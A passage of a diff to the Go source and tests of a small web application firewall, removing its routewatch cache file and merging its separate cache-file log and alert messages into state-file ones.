// while an editor is still writing it. A directory that cannot be watched
|
// while an editor is still writing it. If a directory cannot be watched,
|
||||||
// is logged, and the other is still watched. An edit in a directory not
|
// that is logged, and an edit is taken in only before its file is
|
||||||
// watched is taken in only before its file is written.
|
// written.
|
||||||
func (f *Files) Watch(ctx context.Context) {
|
func (f *Files) Watch(ctx context.Context) {
|
||||||
watcher, err := fsnotify.NewWatcher()
|
watcher, err := fsnotify.NewWatcher()
|
||||||
if err != nil {
|
if err == nil {
|
||||||
f.params.ProcessLog.Error("cannot watch the state and cache files for edits",
|
|
||||||
"error", err.Error())
|
|
||||||
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
defer func() {
|
defer func() {
|
||||||
_ = watcher.Close()
|
_ = watcher.Close()
|
||||||
}()
|
}()
|
||||||
|
|
||||||
var watched []string
|
err = errors.Join(watcher.Add(f.params.Dir), watcher.Add(f.params.CacheDir))
|
||||||
|
}
|
||||||
|
|
||||||
for _, dir := range []struct{ path, failed string }{
|
|
||||||
{f.params.Dir, "cannot watch the state files for edits"},
|
|
||||||
{f.params.CacheDir, "cannot watch the cache files for edits"},
|
|
||||||
} {
|
|
||||||
err = watcher.Add(dir.path)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
f.params.ProcessLog.Error(dir.failed, "directory", dir.path,
|
f.params.ProcessLog.Error("cannot watch the state files for edits",
|
||||||
"error", err.Error())
|
"error", err.Error())
|
||||||
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
watched = append(watched, dir.path)
|
|
||||||
}
|
|
||||||
|
|
||||||
watching := "watching the state and cache files for edits"
|
|
||||||
|
|
||||||
switch {
|
|
||||||
case len(watched) == 0:
|
|
||||||
return
|
return
|
||||||
case len(watched) == 1 && watched[0] == f.params.Dir:
|
|
||||||
watching = "watching the state files for edits"
|
|
||||||
case len(watched) == 1:
|
|
||||||
watching = "watching the cache files for edits"
|
|
||||||
}
|
}
|
||||||
|
|
||||||
f.params.ProcessLog.Info(watching, "directories", watched)
|
f.params.ProcessLog.Info("watching the state files for edits",
|
||||||
|
"directory", f.params.Dir, "cache_directory", f.params.CacheDir)
|
||||||
|
|
||||||
for {
|
for {
|
||||||
select {
|
select {
|
||||||
@@ -395,7 +359,7 @@ func (f *Files) Watch(ctx context.Context) {
|
|||||||
f.fileChanged(name)
|
f.fileChanged(name)
|
||||||
}
|
}
|
||||||
case err = <-watcher.Errors:
|
case err = <-watcher.Errors:
|
||||||
f.params.ProcessLog.Warn("watching the state and cache files failed",
|
f.params.ProcessLog.Warn("watching the state files failed",
|
||||||
"error", err.Error())
|
"error", err.Error())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -405,10 +369,7 @@ func (f *Files) Watch(ctx context.Context) {
|
|||||||
// a file_error alert for it.
|
// a file_error alert for it.
|
||||||
func (f *Files) logFailure(name string, err error) {
|
func (f *Files) logFailure(name string, err error) {
|
||||||
if err != nil {
|
if err != nil {
|
||||||
failed := "writing the state files failed"
|
const failed = "writing the state files failed"
|
||||||
if isCacheFile(name) {
|
|
||||||
failed = "writing the cache files failed"
|
|
||||||
}
|
|
||||||
|
|
||||||
// Raised before it is logged, so that the alert is there once the
|
// Raised before it is logged, so that the alert is there once the
|
||||||
// log line is.
|
// log line is.
|
||||||
@@ -449,15 +410,11 @@ func (f *Files) takeInEdit(name string, data []byte) error {
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
tookIn := "took in an edit of a state file"
|
|
||||||
if isCacheFile(name) {
|
|
||||||
tookIn = "took in an edit of a cache file"
|
|
||||||
}
|
|
||||||
|
|
||||||
// Counted before it is logged, so that the count is there once the
|
// Counted before it is logged, so that the count is there once the
|
||||||
// log line is.
|
// log line is.
|
||||||
f.params.Metrics.StateFileEditTakenIn(name)
|
f.params.Metrics.StateFileEditTakenIn(name)
|
||||||
f.params.ProcessLog.Info(tookIn, "file", filepath.Join(f.dir(name), name))
|
f.params.ProcessLog.Info("took in an edit of a state file",
|
||||||
|
"file", filepath.Join(f.dir(name), name))
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -537,8 +494,8 @@ func (f *Files) readChanged(name string) ([]byte, bool, error) {
|
|||||||
// how many entries the file holds. edit is whether data is an admin's
|
// how many entries the file holds. edit is whether data is an admin's
|
||||||
// edit taken in while sww runs, rather than the file read at the
|
// edit taken in while sww runs, rather than the file read at the
|
||||||
// start. An error names the file and, where the JSON decoder tells it,
|
// start. An error names the file and, where the JSON decoder tells it,
|
||||||
// the line and column, or else the entry. abuseipdb-checks-spent.json
|
// the line and column, or else the entry. abuseipdb-checks.json holds
|
||||||
// holds no entries.
|
// no entries.
|
||||||
func (f *Files) takeIn(name string, data []byte, edit bool) (int, error) {
|
func (f *Files) takeIn(name string, data []byte, edit bool) (int, error) {
|
||||||
path := filepath.Join(f.dir(name), name)
|
path := filepath.Join(f.dir(name), name)
|
||||||
|
|
||||||
@@ -598,8 +555,8 @@ func (f *Files) takeInState(name, path string, data []byte, edit bool) (int, err
|
|||||||
|
|
||||||
f.params.Limiter.Load(file.Clients, f.params.Now())
|
f.params.Limiter.Load(file.Clients, f.params.Now())
|
||||||
entries = len(file.Clients)
|
entries = len(file.Clients)
|
||||||
case abuseIPDBChecksSpentJSON:
|
case abuseIPDBChecksJSON:
|
||||||
var file abuseIPDBChecksSpentFile
|
var file abuseIPDBChecksFile
|
||||||
|
|
||||||
err := parse(path, data, &file)
|
err := parse(path, data, &file)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -661,19 +618,6 @@ func (f *Files) takeInCache(name, path string, data []byte) (int, error) {
|
|||||||
f.params.DNSBL.Load(file.Verdicts)
|
f.params.DNSBL.Load(file.Verdicts)
|
||||||
|
|
||||||
return len(file.Verdicts), nil
|
return len(file.Verdicts), nil
|
||||||
case routeWatchJSON:
|
|
||||||
var file routeWatchFile
|
|
||||||
|
|
||||||
err := parse(path, data, &file)
|
|
||||||
if err != nil {
|
|
||||||
return 0, err
|
|
||||||
}
|
|
||||||
|
|
||||||
if f.params.RouteWatch != nil {
|
|
||||||
f.params.RouteWatch.Load(file.Answers)
|
|
||||||
}
|
|
||||||
|
|
||||||
return len(file.Answers), nil
|
|
||||||
default: // abuseipdb-scores.json
|
default: // abuseipdb-scores.json
|
||||||
var file abuseIPDBScoresFile
|
var file abuseIPDBScoresFile
|
||||||
|
|
||||||
@@ -783,10 +727,7 @@ func (f *Files) setAside(name string, parseErr error) error {
|
|||||||
return errors.Join(parseErr, err)
|
return errors.Join(parseErr, err)
|
||||||
}
|
}
|
||||||
|
|
||||||
setAside := "set aside an edit of a state file that does not parse"
|
const setAside = "set aside an edit of a state file that does not parse"
|
||||||
if isCacheFile(name) {
|
|
||||||
setAside = "set aside an edit of a cache file that does not parse"
|
|
||||||
}
|
|
||||||
|
|
||||||
// Raised before it is logged, so that the alert is there once the log
|
// Raised before it is logged, so that the alert is there once the log
|
||||||
// line is.
|
// line is.
|
||||||
@@ -819,17 +760,10 @@ func (f *Files) encode(name string) ([]byte, error) {
|
|||||||
return encodeOnePerLine("verdicts", f.params.DNSBL.Snapshot())
|
return encodeOnePerLine("verdicts", f.params.DNSBL.Snapshot())
|
||||||
case abuseIPDBScoresJSON:
|
case abuseIPDBScoresJSON:
|
||||||
return encodeOnePerLine("scores", f.params.AbuseIPDB.Snapshot())
|
return encodeOnePerLine("scores", f.params.AbuseIPDB.Snapshot())
|
||||||
case routeWatchJSON:
|
case abuseIPDBChecksJSON:
|
||||||
var answers []routewatch.Answer
|
|
||||||
if f.params.RouteWatch != nil {
|
|
||||||
answers = f.params.RouteWatch.Snapshot()
|
|
||||||
}
|
|
||||||
|
|
||||||
return encodeOnePerLine("answers", answers)
|
|
||||||
case abuseIPDBChecksSpentJSON:
|
|
||||||
checks := f.params.AbuseIPDB.ChecksSpent()
|
checks := f.params.AbuseIPDB.ChecksSpent()
|
||||||
|
|
||||||
return encodeIndented(abuseIPDBChecksSpentFile{
|
return encodeIndented(abuseIPDBChecksFile{
|
||||||
Version: version, Day: checks.Day, Spent: checks.Spent,
|
Version: version, Day: checks.Day, Spent: checks.Spent,
|
||||||
})
|
})
|
||||||
default: // alerts.json
|
default: // alerts.json
|
||||||
@@ -1080,40 +1014,9 @@ func (f *abuseIPDBScoresFile) check(data []byte) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// check refuses an answer without its client, which would answer for
|
|
||||||
// nobody, its netblock, or the time routewatch gave it, which would drop
|
|
||||||
// it. "" is the netblock of an address without a live route, which Answer
|
|
||||||
// cannot tell from a missing one, so each netblock is read again as
|
|
||||||
// written.
|
|
||||||
func (f *routeWatchFile) check(data []byte) error {
|
|
||||||
var written struct {
|
|
||||||
Answers []struct {
|
|
||||||
Netblock *string `json:"netblock"`
|
|
||||||
} `json:"answers"`
|
|
||||||
}
|
|
||||||
|
|
||||||
err := json.Unmarshal(data, &written)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
for i, answer := range f.Answers {
|
|
||||||
switch {
|
|
||||||
case !answer.Client.IsValid():
|
|
||||||
return missing(i, "client")
|
|
||||||
case written.Answers[i].Netblock == nil:
|
|
||||||
return missing(i, "netblock")
|
|
||||||
case answer.Answered.IsZero():
|
|
||||||
return missing(i, "answered")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// check refuses nothing, since a missing day or count means no check
|
// check refuses nothing, since a missing day or count means no check
|
||||||
// spent.
|
// spent.
|
||||||
func (f *abuseIPDBChecksSpentFile) check([]byte) error {
|
func (f *abuseIPDBChecksFile) check([]byte) error {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1259,15 +1162,8 @@ func (f *abuseIPDBScoresFile) toUTC() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// toUTC converts the time of each answer to UTC.
|
// toUTC does nothing: abuseipdb-checks.json holds a day, not a time.
|
||||||
func (f *routeWatchFile) toUTC() {
|
func (f *abuseIPDBChecksFile) toUTC() {}
|
||||||
for i := range f.Answers {
|
|
||||||
convertToUTC(&f.Answers[i].Answered)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// toUTC does nothing: abuseipdb-checks-spent.json holds a day, not a time.
|
|
||||||
func (f *abuseIPDBChecksSpentFile) toUTC() {}
|
|
||||||
|
|
||||||
// toUTC converts every time of each cooldown, of the hour, of each alert
|
// toUTC converts every time of each cooldown, of the hour, of each alert
|
||||||
// waiting and of each anomaly counter to UTC.
|
// waiting and of each anomaly counter to UTC.
|
||||||
|
|||||||
+57
-258
@@ -30,7 +30,6 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/metrics"
|
"sneak.berlin/go/smallwebwaf/internal/metrics"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/routewatch"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/state"
|
"sneak.berlin/go/smallwebwaf/internal/state"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -38,18 +37,15 @@ const (
|
|||||||
// The state files.
|
// The state files.
|
||||||
bansJSON = "bans.json"
|
bansJSON = "bans.json"
|
||||||
clientsJSON = "clients.json"
|
clientsJSON = "clients.json"
|
||||||
abuseIPDBChecksSpentJSON = "abuseipdb-checks-spent.json"
|
abuseIPDBChecksJSON = "abuseipdb-checks.json"
|
||||||
alertsJSON = "alerts.json"
|
alertsJSON = "alerts.json"
|
||||||
// The cache files.
|
// The cache files.
|
||||||
lookupsJSON = "lookups.json"
|
lookupsJSON = "lookups.json"
|
||||||
listsJSON = "lists.json"
|
listsJSON = "lists.json"
|
||||||
dnsblJSON = "dnsbl.json"
|
dnsblJSON = "dnsbl.json"
|
||||||
abuseIPDBScoresJSON = "abuseipdb-scores.json"
|
abuseIPDBScoresJSON = "abuseipdb-scores.json"
|
||||||
routeWatchJSON = "routewatch.json"
|
// What the process log says as a file that does not parse is set aside.
|
||||||
// What the process log says as a state file, and a cache file, that does
|
|
||||||
// not parse is set aside.
|
|
||||||
setAside = "set aside an edit of a state file that does not parse"
|
setAside = "set aside an edit of a state file that does not parse"
|
||||||
cacheSetAside = "set aside an edit of a cache file that does not parse"
|
|
||||||
// What Load says, after a file's path, of a first entry without its
|
// What Load says, after a file's path, of a first entry without its
|
||||||
// client or the time it was fetched.
|
// client or the time it was fetched.
|
||||||
noClient = `: entry 1 has no "client"`
|
noClient = `: entry 1 has no "client"`
|
||||||
@@ -62,11 +58,10 @@ const (
|
|||||||
// The AS number and AS name the tests' clients are looked up in.
|
// The AS number and AS name the tests' clients are looked up in.
|
||||||
asn = "AS64496"
|
asn = "AS64496"
|
||||||
asName = "Example Net"
|
asName = "Example Net"
|
||||||
// What the process log says once Watch watches both directories, and as
|
// What the process log says once Watch watches the directory, and as
|
||||||
// it takes in an edit of a state file, and of a cache file.
|
// it takes in an edit.
|
||||||
watching = "watching the state and cache files for edits"
|
watching = "watching the state files for edits"
|
||||||
tookIn = "took in an edit of a state file"
|
tookIn = "took in an edit of a state file"
|
||||||
cacheTookIn = "took in an edit of a cache file"
|
|
||||||
// maxLogLines is how many lines of the process log wait for a test to
|
// maxLogLines is how many lines of the process log wait for a test to
|
||||||
// read them.
|
// read them.
|
||||||
maxLogLines = 64
|
maxLogLines = 64
|
||||||
@@ -285,34 +280,21 @@ const filledAbuseIPDBScoresJSON = `{
|
|||||||
}
|
}
|
||||||
`
|
`
|
||||||
|
|
||||||
// filledAbuseIPDBChecksSpentJSON is abuseipdb-checks-spent.json holding
|
// filledAbuseIPDBChecksJSON is abuseipdb-checks.json holding the
|
||||||
// the AbuseIPDB checks spent today, as fill puts them in.
|
// AbuseIPDB checks spent today, as fill puts them in.
|
||||||
const filledAbuseIPDBChecksSpentJSON = `{
|
const filledAbuseIPDBChecksJSON = `{
|
||||||
"version": 1,
|
"version": 1,
|
||||||
"day": "2026-10-06",
|
"day": "2026-10-06",
|
||||||
"spent": 3
|
"spent": 3
|
||||||
}
|
}
|
||||||
`
|
`
|
||||||
|
|
||||||
// filledRouteWatchJSON is routewatch.json holding the two answers of
|
|
||||||
// routewatch fill puts in: a route, and an address without a live route.
|
|
||||||
const filledRouteWatchJSON = `{
|
|
||||||
"version": 1,
|
|
||||||
"answers": [
|
|
||||||
{"client":"203.0.113.9/32","netblock":"203.0.113.0/24","asn":64496,` +
|
|
||||||
`"answered":"2026-10-05T23:59:00Z"},
|
|
||||||
{"client":"2001:db8::/64","netblock":"","asn":0,` +
|
|
||||||
`"answered":"2026-10-05T23:58:00Z"}
|
|
||||||
]
|
|
||||||
}
|
|
||||||
`
|
|
||||||
|
|
||||||
// everyFile returns the names of the state and cache files, sorted, as
|
// everyFile returns the names of the state and cache files, sorted, as
|
||||||
// wantFiles lists them in the one directory newParams gives both.
|
// wantFiles lists them in the one directory newParams gives both.
|
||||||
func everyFile() []string {
|
func everyFile() []string {
|
||||||
return []string{
|
return []string{
|
||||||
abuseIPDBChecksSpentJSON, abuseIPDBScoresJSON, alertsJSON, bansJSON, clientsJSON,
|
abuseIPDBChecksJSON, abuseIPDBScoresJSON, alertsJSON, bansJSON, clientsJSON,
|
||||||
dnsblJSON, listsJSON, lookupsJSON, routeWatchJSON,
|
dnsblJSON, listsJSON, lookupsJSON,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -350,13 +332,10 @@ func TestFilesWrittenAndReadBack(t *testing.T) {
|
|||||||
wantEqual(t, dnsblJSON, after.DNSBL.Snapshot(), before.DNSBL.Snapshot())
|
wantEqual(t, dnsblJSON, after.DNSBL.Snapshot(), before.DNSBL.Snapshot())
|
||||||
wantEqual(t, abuseIPDBScoresJSON, after.AbuseIPDB.Snapshot(),
|
wantEqual(t, abuseIPDBScoresJSON, after.AbuseIPDB.Snapshot(),
|
||||||
before.AbuseIPDB.Snapshot())
|
before.AbuseIPDB.Snapshot())
|
||||||
wantEqual(t, routeWatchJSON, after.RouteWatch.Snapshot(),
|
|
||||||
before.RouteWatch.Snapshot())
|
|
||||||
|
|
||||||
checks, wantChecks := after.AbuseIPDB.ChecksSpent(), before.AbuseIPDB.ChecksSpent()
|
checks, wantChecks := after.AbuseIPDB.ChecksSpent(), before.AbuseIPDB.ChecksSpent()
|
||||||
if checks != wantChecks {
|
if checks != wantChecks {
|
||||||
t.Errorf("%s read back %+v, want %+v", abuseIPDBChecksSpentJSON, checks,
|
t.Errorf("%s read back %+v, want %+v", abuseIPDBChecksJSON, checks, wantChecks)
|
||||||
wantChecks)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if got, want := after.Alerts.Snapshot(), before.Alerts.Snapshot(); !reflect.DeepEqual(
|
if got, want := after.Alerts.Snapshot(), before.Alerts.Snapshot(); !reflect.DeepEqual(
|
||||||
@@ -367,7 +346,7 @@ func TestFilesWrittenAndReadBack(t *testing.T) {
|
|||||||
wantEqual(t, alertsJSON, after.Anomalies.Snapshot(), before.Anomalies.Snapshot())
|
wantEqual(t, alertsJSON, after.Anomalies.Snapshot(), before.Anomalies.Snapshot())
|
||||||
|
|
||||||
// Each one-per-line file lists its entries by client, and nothing
|
// Each one-per-line file lists its entries by client, and nothing
|
||||||
// but the nine files is left in the directory.
|
// but the eight files is left in the directory.
|
||||||
wantEntries(t, filepath.Join(dir, clientsJSON), "clients",
|
wantEntries(t, filepath.Join(dir, clientsJSON), "clients",
|
||||||
"192.0.2.1/32", "203.0.113.9/32", "2001:db8::/64")
|
"192.0.2.1/32", "203.0.113.9/32", "2001:db8::/64")
|
||||||
wantEntries(t, filepath.Join(dir, lookupsJSON), "lookups",
|
wantEntries(t, filepath.Join(dir, lookupsJSON), "lookups",
|
||||||
@@ -388,9 +367,8 @@ func TestStateFilesInDirAndCacheFilesInCacheDir(t *testing.T) {
|
|||||||
t.Fatalf("write: %v", err)
|
t.Fatalf("write: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantFiles(t, stateDir, abuseIPDBChecksSpentJSON, alertsJSON, bansJSON, clientsJSON)
|
wantFiles(t, stateDir, abuseIPDBChecksJSON, alertsJSON, bansJSON, clientsJSON)
|
||||||
wantFiles(t, cacheDir, abuseIPDBScoresJSON, dnsblJSON, listsJSON, lookupsJSON,
|
wantFiles(t, cacheDir, abuseIPDBScoresJSON, dnsblJSON, listsJSON, lookupsJSON)
|
||||||
routeWatchJSON)
|
|
||||||
|
|
||||||
// Read back from both, as at the next start.
|
// Read back from both, as at the next start.
|
||||||
after := newParams(stateDir)
|
after := newParams(stateDir)
|
||||||
@@ -402,8 +380,7 @@ func TestStateFilesInDirAndCacheFilesInCacheDir(t *testing.T) {
|
|||||||
|
|
||||||
checks, wantChecks := after.AbuseIPDB.ChecksSpent(), before.AbuseIPDB.ChecksSpent()
|
checks, wantChecks := after.AbuseIPDB.ChecksSpent(), before.AbuseIPDB.ChecksSpent()
|
||||||
if checks != wantChecks {
|
if checks != wantChecks {
|
||||||
t.Errorf("%s read back %+v, want %+v", abuseIPDBChecksSpentJSON, checks,
|
t.Errorf("%s read back %+v, want %+v", abuseIPDBChecksJSON, checks, wantChecks)
|
||||||
wantChecks)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -426,7 +403,7 @@ func TestReputationFilesAsWritten(t *testing.T) {
|
|||||||
listsJSON: filledListsJSON,
|
listsJSON: filledListsJSON,
|
||||||
dnsblJSON: filledDNSBLJSON,
|
dnsblJSON: filledDNSBLJSON,
|
||||||
abuseIPDBScoresJSON: filledAbuseIPDBScoresJSON,
|
abuseIPDBScoresJSON: filledAbuseIPDBScoresJSON,
|
||||||
abuseIPDBChecksSpentJSON: filledAbuseIPDBChecksSpentJSON,
|
abuseIPDBChecksJSON: filledAbuseIPDBChecksJSON,
|
||||||
} {
|
} {
|
||||||
if got := readFile(t, filepath.Join(dir, name)); got != want {
|
if got := readFile(t, filepath.Join(dir, name)); got != want {
|
||||||
t.Errorf("%s\n%s\nwant\n%s", name, got, want)
|
t.Errorf("%s\n%s\nwant\n%s", name, got, want)
|
||||||
@@ -434,41 +411,6 @@ func TestReputationFilesAsWritten(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRouteWatchJSONAsWritten(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
dir := t.TempDir()
|
|
||||||
params := newParams(dir)
|
|
||||||
fill(params)
|
|
||||||
|
|
||||||
err := load(t, params).WriteAll()
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("write: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
got := readFile(t, filepath.Join(dir, routeWatchJSON))
|
|
||||||
if got != filledRouteWatchJSON {
|
|
||||||
t.Errorf("%s\n%s\nwant\n%s", routeWatchJSON, got, filledRouteWatchJSON)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestRouteWatchJSONHoldsNoAnswersWhileRoutewatchIsUnset(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
dir := t.TempDir()
|
|
||||||
edit(t, dir, routeWatchJSON, filledRouteWatchJSON)
|
|
||||||
|
|
||||||
params := newParams(dir)
|
|
||||||
params.RouteWatch = nil
|
|
||||||
|
|
||||||
err := load(t, params).WriteAll()
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("write: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
wantEntries(t, filepath.Join(dir, routeWatchJSON), "answers")
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAlertsJSONIsIndentedWithTheCooldownsTheHourAndTheAlertsWaiting(t *testing.T) {
|
func TestAlertsJSONIsIndentedWithTheCooldownsTheHourAndTheAlertsWaiting(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -594,7 +536,6 @@ func TestMissingFilesAreEmptyState(t *testing.T) {
|
|||||||
if len(params.Ledger.Snapshot()) != 0 || len(params.Limiter.Snapshot()) != 0 ||
|
if len(params.Ledger.Snapshot()) != 0 || len(params.Limiter.Snapshot()) != 0 ||
|
||||||
len(params.GeoJS.Snapshot()) != 0 || len(params.Lists.Snapshot()) != 0 ||
|
len(params.GeoJS.Snapshot()) != 0 || len(params.Lists.Snapshot()) != 0 ||
|
||||||
len(params.DNSBL.Snapshot()) != 0 || len(params.AbuseIPDB.Snapshot()) != 0 ||
|
len(params.DNSBL.Snapshot()) != 0 || len(params.AbuseIPDB.Snapshot()) != 0 ||
|
||||||
len(params.RouteWatch.Snapshot()) != 0 ||
|
|
||||||
params.AbuseIPDB.ChecksSpent().Spent != 0 ||
|
params.AbuseIPDB.ChecksSpent().Spent != 0 ||
|
||||||
len(held.Cooldowns) != 0 || len(held.Waiting[alerts.DestinationWebhook]) != 0 ||
|
len(held.Cooldowns) != 0 || len(held.Waiting[alerts.DestinationWebhook]) != 0 ||
|
||||||
held.Hour.Sent != 0 {
|
held.Hour.Sent != 0 {
|
||||||
@@ -630,7 +571,7 @@ func TestFileThatDoesNotParseStopsTheStart(t *testing.T) {
|
|||||||
", line 3, column 19: unexpected end of JSON input",
|
", line 3, column 19: unexpected end of JSON input",
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"an unknown field", abuseIPDBChecksSpentJSON,
|
"an unknown field", abuseIPDBChecksJSON,
|
||||||
`{"version": 1, "day": "2026-10-06", "spnet": 3}`,
|
`{"version": 1, "day": "2026-10-06", "spnet": 3}`,
|
||||||
`: json: unknown field "spnet"`,
|
`: json: unknown field "spnet"`,
|
||||||
},
|
},
|
||||||
@@ -701,25 +642,6 @@ func TestCacheFileThatDoesNotParseIsSetAsideAndTheCacheStartsEmpty(t *testing.T)
|
|||||||
"an unknown version", abuseIPDBScoresJSON, `{"version": 2}`,
|
"an unknown version", abuseIPDBScoresJSON, `{"version": 2}`,
|
||||||
": unknown version ",
|
": unknown version ",
|
||||||
},
|
},
|
||||||
{
|
|
||||||
"an answer without its client", routeWatchJSON,
|
|
||||||
`{"version": 1, "answers": [{"netblock": "", ` +
|
|
||||||
`"answered": "2026-10-06T00:00:00Z"}]}`,
|
|
||||||
noClient,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
// A netblock of "" is an address without a live route.
|
|
||||||
"an answer without its netblock", routeWatchJSON,
|
|
||||||
`{"version": 1, "answers": [{"client": "192.0.2.1/32", "netblock": "", ` +
|
|
||||||
`"answered": "2026-10-06T00:00:00Z"}, {"client": "203.0.113.9/32", ` +
|
|
||||||
`"answered": "2026-10-06T00:00:00Z"}]}`,
|
|
||||||
`: entry 2 has no "netblock"`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"an answer without the time routewatch gave it", routeWatchJSON,
|
|
||||||
`{"version": 1, "answers": [{"client": "203.0.113.9/32", "netblock": ""}]}`,
|
|
||||||
`: entry 1 has no "answered"`,
|
|
||||||
},
|
|
||||||
} {
|
} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
@@ -1133,9 +1055,7 @@ func TestBanThatDoesNotEndAfterItsStartStopsTheStart(t *testing.T) {
|
|||||||
func TestUnknownVersionStopsTheStart(t *testing.T) {
|
func TestUnknownVersionStopsTheStart(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, file := range []string{
|
for _, file := range []string{bansJSON, clientsJSON, abuseIPDBChecksJSON, alertsJSON} {
|
||||||
bansJSON, clientsJSON, abuseIPDBChecksSpentJSON, alertsJSON,
|
|
||||||
} {
|
|
||||||
for _, content := range []string{`{"version": 2}`, `{}`} {
|
for _, content := range []string{`{"version": 2}`, `{}`} {
|
||||||
t.Run(file+" "+content, func(t *testing.T) {
|
t.Run(file+" "+content, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
@@ -1301,52 +1221,43 @@ func TestWriteThatFailsWhileRunningRaisesAFileErrorAlertOncePerCooldown(t *testi
|
|||||||
params.CounterInterval = time.Minute
|
params.CounterInterval = time.Minute
|
||||||
run(t, load(t, params).Run)
|
run(t, load(t, params).Run)
|
||||||
|
|
||||||
// A directory in the way of the temporary file of clients.json, a
|
// A directory in the way of clients.json's temporary file fails each
|
||||||
// state file, and of lookups.json, a cache file, fails each of their
|
// of its writes, while the other files are written. It holds a file,
|
||||||
// writes, while the other files are written. Each holds a file, so
|
// so that the write cannot remove it.
|
||||||
// that the write cannot remove it.
|
err := os.Mkdir(filepath.Join(dir, clientsJSON+".tmp"), 0o700)
|
||||||
failing := []struct{ name, reason string }{
|
|
||||||
{clientsJSON, "writing the state files failed"},
|
|
||||||
{lookupsJSON, "writing the cache files failed"},
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, file := range failing {
|
|
||||||
err := os.Mkdir(filepath.Join(dir, file.name+".tmp"), 0o700)
|
|
||||||
if err == nil {
|
if err == nil {
|
||||||
err = os.WriteFile(filepath.Join(dir, file.name+".tmp", "kept"), nil, 0o600)
|
err = os.WriteFile(filepath.Join(dir, clientsJSON+".tmp", "kept"), nil, 0o600)
|
||||||
}
|
}
|
||||||
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("put a directory in the way: %v", err)
|
t.Fatalf("put a directory in the way: %v", err)
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
time.Sleep(time.Minute)
|
time.Sleep(time.Minute)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
waiting := params.Alerts.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting := params.Alerts.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
if len(waiting) != len(failing) {
|
if len(waiting) != 1 {
|
||||||
t.Fatalf("%d alerts wait, want %d", len(waiting), len(failing))
|
t.Fatalf("%d alerts wait, want 1", len(waiting))
|
||||||
}
|
}
|
||||||
|
|
||||||
for i, file := range failing {
|
message, _ := waiting[0].Detail["error"].(string)
|
||||||
message, _ := waiting[i].Detail["error"].(string)
|
|
||||||
|
|
||||||
if waiting[i].Event != alerts.EventFileError || waiting[i].Reason != file.reason ||
|
if waiting[0].Event != alerts.EventFileError ||
|
||||||
waiting[i].Detail["file"] != filepath.Join(dir, file.name) ||
|
waiting[0].Reason != "writing the state files failed" ||
|
||||||
!strings.Contains(message, file.name+".tmp") {
|
waiting[0].Detail["file"] != filepath.Join(dir, clientsJSON) ||
|
||||||
t.Fatalf("alerts waiting %+v, want a file_error alert for %s, saying %q "+
|
!strings.Contains(message, clientsJSON+".tmp") {
|
||||||
"and naming its temporary file", waiting, file.name, file.reason)
|
t.Fatalf("alerts waiting %+v, want a file_error alert for clients.json, "+
|
||||||
}
|
"naming its temporary file", waiting)
|
||||||
}
|
}
|
||||||
|
|
||||||
// The next writes fail too, within the cooldown, which holds them back.
|
// The next write fails too, within the cooldown, which holds it back.
|
||||||
time.Sleep(time.Minute)
|
time.Sleep(time.Minute)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
waiting = params.Alerts.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting = params.Alerts.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
if len(waiting) != 2 || params.Alerts.Suppressed() != 2 {
|
